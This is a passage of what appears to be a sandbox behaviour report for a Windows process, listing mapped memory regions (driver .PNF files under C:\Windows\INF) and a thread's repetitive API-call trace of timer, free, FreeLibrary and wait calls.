monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 9425 start_va = 0x196ee9f0000 end_va = 0x196eea10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 9434 start_va = 0x196ee9f0000 end_va = 0x196eea0bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "keyboard.pnf" filename = "\\Windows\\INF\\keyboard.PNF" (normalized: "c:\\windows\\inf\\keyboard.pnf") Region: id = 9435 start_va = 0x196ee9f0000 end_va = 0x196eea0bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "keyboard.pnf" filename = "\\Windows\\INF\\keyboard.PNF" (normalized: "c:\\windows\\inf\\keyboard.pnf") Region: id = 9448 start_va = 0x196ee9f0000 end_va = 0x196eea18fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 9449 start_va = 0x196ee9f0000 end_va = 0x196eea18fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 9450 start_va = 0x196ee9f0000 end_va = 0x196eea0afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "net1ic64.pnf" filename = "\\Windows\\INF\\net1ic64.PNF" (normalized: "c:\\windows\\inf\\net1ic64.pnf") Region: id = 9453 start_va = 0x196ee9f0000 end_va = 0x196eea0afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "net1ic64.pnf" filename = "\\Windows\\INF\\net1ic64.PNF" (normalized: "c:\\windows\\inf\\net1ic64.pnf") Region: id = 9460 start_va = 0x196ee9f0000 end_va = 0x196eea18fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 9461 start_va = 0x196ee9f0000 end_va = 0x196eea18fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 9466 start_va = 0x196ee9f0000 end_va = 0x196eea18fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 9467 start_va = 0x196ee9f0000 end_va = 0x196eea18fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 9473 start_va = 0x196ee9f0000 end_va = 0x196eea10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 9474 start_va = 0x196ee9f0000 end_va = 0x196eea10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 9476 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "volume.pnf" filename = "\\Windows\\INF\\volume.PNF" (normalized: "c:\\windows\\inf\\volume.pnf") Region: id = 9477 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "volume.pnf" filename = "\\Windows\\INF\\volume.PNF" (normalized: "c:\\windows\\inf\\volume.pnf") Region: id = 9481 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "display.pnf" filename = "\\Windows\\INF\\display.PNF" (normalized: "c:\\windows\\inf\\display.pnf") Region: id = 9484 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "display.pnf" filename = "\\Windows\\INF\\display.PNF" (normalized: "c:\\windows\\inf\\display.pnf") Region: id = 9485 start_va = 0x196ee9f0000 end_va = 0x196ee9f4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "disk.pnf" filename = "\\Windows\\INF\\disk.PNF" (normalized: "c:\\windows\\inf\\disk.pnf") Region: id = 9486 start_va = 0x196ee9f0000 end_va = 0x196ee9f4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "disk.pnf" filename = "\\Windows\\INF\\disk.PNF" (normalized: "c:\\windows\\inf\\disk.pnf") Region: id = 9488 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_swdevice.pnf" filename = "\\Windows\\INF\\c_swdevice.PNF" (normalized: "c:\\windows\\inf\\c_swdevice.pnf") Region: id = 9491 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_swdevice.pnf" filename = "\\Windows\\INF\\c_swdevice.PNF" (normalized: "c:\\windows\\inf\\c_swdevice.pnf") Region: id = 9492 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "audioendpoint.pnf" filename = "\\Windows\\INF\\audioendpoint.PNF" (normalized: "c:\\windows\\inf\\audioendpoint.pnf") Region: id = 9493 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "audioendpoint.pnf" filename = "\\Windows\\INF\\audioendpoint.PNF" (normalized: "c:\\windows\\inf\\audioendpoint.pnf") Region: id = 9494 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndisvirtualbus.pnf" filename = "\\Windows\\INF\\ndisvirtualbus.PNF" (normalized: "c:\\windows\\inf\\ndisvirtualbus.pnf") Region: id = 9497 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndisvirtualbus.pnf" filename = "\\Windows\\INF\\ndisvirtualbus.PNF" (normalized: "c:\\windows\\inf\\ndisvirtualbus.pnf") Region: id = 9506 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196ee9f0000" filename = "" Region: id = 9507 start_va = 0x196eea00000 end_va = 0x196eea17fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hdaudio.pnf" filename = "\\Windows\\INF\\hdaudio.PNF" (normalized: "c:\\windows\\inf\\hdaudio.pnf") Region: id = 9508 start_va = 0x196eea00000 end_va = 0x196eea17fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hdaudio.pnf" filename = "\\Windows\\INF\\hdaudio.PNF" (normalized: "c:\\windows\\inf\\hdaudio.pnf") Region: id = 9510 start_va = 0x196eea00000 end_va = 0x196eea28fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 9512 start_va = 0x196eea00000 end_va = 0x196eea28fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 9516 start_va = 0x196eea00000 end_va = 0x196eea01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mssmbios.pnf" filename = "\\Windows\\INF\\mssmbios.PNF" (normalized: "c:\\windows\\inf\\mssmbios.pnf") Region: id = 9517 start_va = 0x196eea00000 end_va = 0x196eea01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mssmbios.pnf" filename = "\\Windows\\INF\\mssmbios.PNF" (normalized: "c:\\windows\\inf\\mssmbios.pnf") Region: id = 9518 start_va = 0x196eea00000 end_va = 0x196eea01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "swenum.pnf" filename = "\\Windows\\INF\\swenum.PNF" (normalized: "c:\\windows\\inf\\swenum.pnf") Region: id = 9523 start_va = 0x196eea00000 end_va = 0x196eea01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "swenum.pnf" filename = "\\Windows\\INF\\swenum.PNF" (normalized: "c:\\windows\\inf\\swenum.pnf") Region: id = 9526 start_va = 0x196eea00000 end_va = 0x196eea16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmouse.pnf" filename = "\\Windows\\INF\\msmouse.PNF" (normalized: "c:\\windows\\inf\\msmouse.pnf") Region: id = 9527 start_va = 0x196eea00000 end_va = 0x196eea16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmouse.pnf" filename = "\\Windows\\INF\\msmouse.PNF" (normalized: "c:\\windows\\inf\\msmouse.pnf") Region: id = 9532 start_va = 0x196eea00000 end_va = 0x196eea01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpbus.pnf" filename = "\\Windows\\INF\\rdpbus.PNF" (normalized: "c:\\windows\\inf\\rdpbus.pnf") Region: id = 9535 start_va = 0x196eea00000 end_va = 0x196eea01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpbus.pnf" filename = "\\Windows\\INF\\rdpbus.PNF" (normalized: "c:\\windows\\inf\\rdpbus.pnf") Region: id = 9540 start_va = 0x196eea00000 end_va = 0x196eea20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 9543 start_va = 0x196eea00000 end_va = 0x196eea20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 9758 start_va = 0x196eea00000 end_va = 0x196eea05fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196eea00000" filename = "" Region: id = 9885 start_va = 0x196eea00000 end_va = 0x196eea02fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196eea00000" filename = "" Region: id = 9887 start_va = 0x196eea10000 end_va = 0x196eea17fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196eea10000" filename = "" Region: id = 9959 start_va = 0x196ee9e0000 end_va = 0x196ee9e5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196ee9e0000" filename = "" Region: id = 10455 start_va = 0x196ee9f0000 end_va = 0x196ee9f2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196ee9f0000" filename = "" Region: id = 10456 start_va = 0x196eea00000 end_va = 0x196eea07fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196eea00000" filename = "" Thread: id = 112 os_tid = 0x1158 [0104.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x1f3817b2, dwHighDateTime=0x1d9eb0c)) [0104.636] free (_Block=0x196ef0ce320) [0104.636] FreeLibrary (hLibModule=0x196ee9e0000) returned 1 [0104.638] free (_Block=0x196ef0d31b0) [0104.638] free (_Block=0x196ef0cc850) [0104.638] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x1f3817b2, dwHighDateTime=0x1d9eb0c)) [0104.638] free (_Block=0x196ef0d1de0) [0104.639] FreeLibrary (hLibModule=0x196eea00000) returned 1 [0104.640] free (_Block=0x196ef0d5d70) [0104.640] free (_Block=0x196ef0d5be0) [0104.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x1f3a7a50, dwHighDateTime=0x1d9eb0c)) [0104.641] free (_Block=0x196ef0d20e0) [0104.641] FreeLibrary (hLibModule=0x7ffa7be80000) returned 1 [0104.641] free (_Block=0x196ef0d70a0) [0104.642] free (_Block=0x196ef0d5500) [0104.642] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x1f3a7a50, dwHighDateTime=0x1d9eb0c)) [0104.642] free (_Block=0x196ef0d1aa0) [0104.642] FreeLibrary (hLibModule=0x7ffa7a9a0000) returned 1 [0104.642] free (_Block=0x196ef0d6890) [0104.642] free (_Block=0x196ef0d5ff0) [0104.642] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x1f3a7a50, dwHighDateTime=0x1d9eb0c)) [0104.642] free (_Block=0x196ef0d1f20) [0104.642] FreeLibrary (hLibModule=0x7ffa78710000) returned 1 [0104.652] free (_Block=0x196ef0d4e70) [0104.652] free (_Block=0x196ef0d5b40) [0104.652] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x1f3a7a50, dwHighDateTime=0x1d9eb0c)) [0104.652] free (_Block=0x196ef0d1ea0) [0104.652] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0104.652] free (_Block=0x196ef0d67b0) [0104.653] free (_Block=0x196ef0d6220) [0104.653] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x1f3a7a50, dwHighDateTime=0x1d9eb0c)) [0104.653] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x1f3a7a50, dwHighDateTime=0x1d9eb0c)) [0104.653] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x1f3a7a50, dwHighDateTime=0x1d9eb0c)) [0104.653] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x493d0, bAlertable=0) returned 0x0 [0105.818] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0105.835] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x1fef7048, dwHighDateTime=0x1d9eb0c)) [0105.835] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x1fef7048, dwHighDateTime=0x1d9eb0c)) [0105.835] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x1fef7048, dwHighDateTime=0x1d9eb0c)) [0105.836] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x2720, bAlertable=0) returned 0x0 [0107.070] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0107.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x20b08fc1, dwHighDateTime=0x1d9eb0c)) [0107.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x20b08fc1, dwHighDateTime=0x1d9eb0c)) [0107.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x20b08fc1, dwHighDateTime=0x1d9eb0c)) [0107.104] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x2710, bAlertable=0) returned 0x0 [0108.036] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0108.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x2141ffa7, dwHighDateTime=0x1d9eb0c)) [0108.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x2141ffa7, dwHighDateTime=0x1d9eb0c)) [0108.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x2141ffa7, dwHighDateTime=0x1d9eb0c)) [0108.052] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0108.426] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0108.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x21825e60, dwHighDateTime=0x1d9eb0c)) [0108.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x21825e60, dwHighDateTime=0x1d9eb0c)) [0108.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x21825e60, dwHighDateTime=0x1d9eb0c)) [0108.473] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0109.534] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0109.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x2226e097, dwHighDateTime=0x1d9eb0c)) [0109.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x2226e097, dwHighDateTime=0x1d9eb0c)) [0109.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x2226e097, dwHighDateTime=0x1d9eb0c)) [0109.545] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0110.682] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0110.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x22d4eb7d, dwHighDateTime=0x1d9eb0c)) [0110.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x22d4eb7d, dwHighDateTime=0x1d9eb0c)) [0110.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x22d4eb7d, dwHighDateTime=0x1d9eb0c)) [0110.698] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0111.681] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0111.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x236d827f, dwHighDateTime=0x1d9eb0c)) [0111.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x236d827f, dwHighDateTime=0x1d9eb0c)) [0111.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x236d827f, dwHighDateTime=0x1d9eb0c)) [0111.695] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0112.464] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0112.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x23e4b8b8, dwHighDateTime=0x1d9eb0c)) [0112.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x23e4b8b8, dwHighDateTime=0x1d9eb0c)) [0112.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x23e4b8b8, dwHighDateTime=0x1d9eb0c)) [0112.478] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0113.937] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0113.959] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x24c74020, dwHighDateTime=0x1d9eb0c)) [0113.959] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x24c74020, dwHighDateTime=0x1d9eb0c)) [0113.959] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x24c74020, dwHighDateTime=0x1d9eb0c)) [0113.959] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0114.898] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0114.911] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x2558a6ad, dwHighDateTime=0x1d9eb0c)) [0114.911] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x2558a6ad, dwHighDateTime=0x1d9eb0c)) [0114.911] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x2558a6ad, dwHighDateTime=0x1d9eb0c)) [0114.911] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0115.616] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0115.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x25c6558a, dwHighDateTime=0x1d9eb0c)) [0115.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x25c6558a, dwHighDateTime=0x1d9eb0c)) [0115.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x25c6558a, dwHighDateTime=0x1d9eb0c)) [0115.631] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0116.763] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0116.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x26745f19, dwHighDateTime=0x1d9eb0c)) [0116.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x26745f19, dwHighDateTime=0x1d9eb0c)) [0116.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x26745f19, dwHighDateTime=0x1d9eb0c)) [0116.774] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0117.607] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0117.620] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x26f51e44, dwHighDateTime=0x1d9eb0c)) [0117.620] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x26f51e44, dwHighDateTime=0x1d9eb0c)) [0117.620] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x26f51e44, dwHighDateTime=0x1d9eb0c)) [0117.620] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0118.239] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0118.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x2756dd5e, dwHighDateTime=0x1d9eb0c)) [0118.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x2756dd5e, dwHighDateTime=0x1d9eb0c)) [0118.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x2756dd5e, dwHighDateTime=0x1d9eb0c)) [0118.251] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0119.332] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0119.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x2804eb17, dwHighDateTime=0x1d9eb0c)) [0119.400] free (_Block=0x196ef0d2060) [0119.400] FreeLibrary (hLibModule=0x7ffa77c00000) returned 1 [0119.403] free (_Block=0x196ef0d5960) [0119.405] free (_Block=0x196ef0d5a50) [0119.406] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0120.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x289fe3be, dwHighDateTime=0x1d9eb0c)) [0120.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x289fe3be, dwHighDateTime=0x1d9eb0c)) [0120.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x289fe3be, dwHighDateTime=0x1d9eb0c)) [0120.408] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0121.263] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0121.276] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x29230599, dwHighDateTime=0x1d9eb0c)) [0121.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x29230599, dwHighDateTime=0x1d9eb0c)) [0121.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x29230599, dwHighDateTime=0x1d9eb0c)) [0121.277] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0122.202] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0122.216] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x29b21152, dwHighDateTime=0x1d9eb0c)) [0122.216] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x29b21152, dwHighDateTime=0x1d9eb0c)) [0122.216] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x29b21152, dwHighDateTime=0x1d9eb0c)) [0122.217] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, 